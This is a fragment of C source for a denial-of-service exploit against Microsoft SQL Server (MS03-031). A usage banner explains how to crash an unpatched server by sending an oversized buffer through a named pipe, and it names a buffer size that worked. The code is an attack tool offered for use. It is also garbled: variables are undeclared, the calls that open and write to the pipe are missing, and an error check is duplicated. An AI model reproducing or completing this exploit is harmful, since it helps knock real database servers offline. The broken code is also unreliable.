void Usage()
{
printf("******************************************\n");
printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n");
printf("\t Written by Refdom\n");
printf("\t Email: refdom@xfocus.org\n");
printf("\t Homepage: www.xfocus.org\n\n");
printf("Usage: DOSMSSQL.exe server buffersize\n");
printf("eg: DOSMSSQL.exe192.168.0.1 9000\n\n");
printf("The buffersize depends on service pack level.\n");
printf("I test it on my server: windows 2000, mssqlserver no sp.\n");
printf("when buffersize is 9000, the server can be crashed.\n");
printf("\n");
printf("*******************************************\n\n");
}
int main(int argc, char* argv[])
{
char lpPipeName[50];
char *lpBuffer = NULL;
unsigned long ulSize = 0;
dwMode = PIPE_READMODE_MESSAGE;
bResult = SetNamedPipeHandleState(
hPipe, // pipe handle
&dwMode, // new pipe mode
NULL, // don't set maximum bytes
NULL); // don't set maximum time
if (!bResult)
{
printf("Error!SetNamedPipeHandleState.%d\n", GetLastError());
goto Exit0;
}
if (!bResult)
{
printf("\n\tError!WriteFile.%d\n\n", GetLastError());
printf("When see the error message, the target may be crashed!!\n\n");
goto Exit0;
}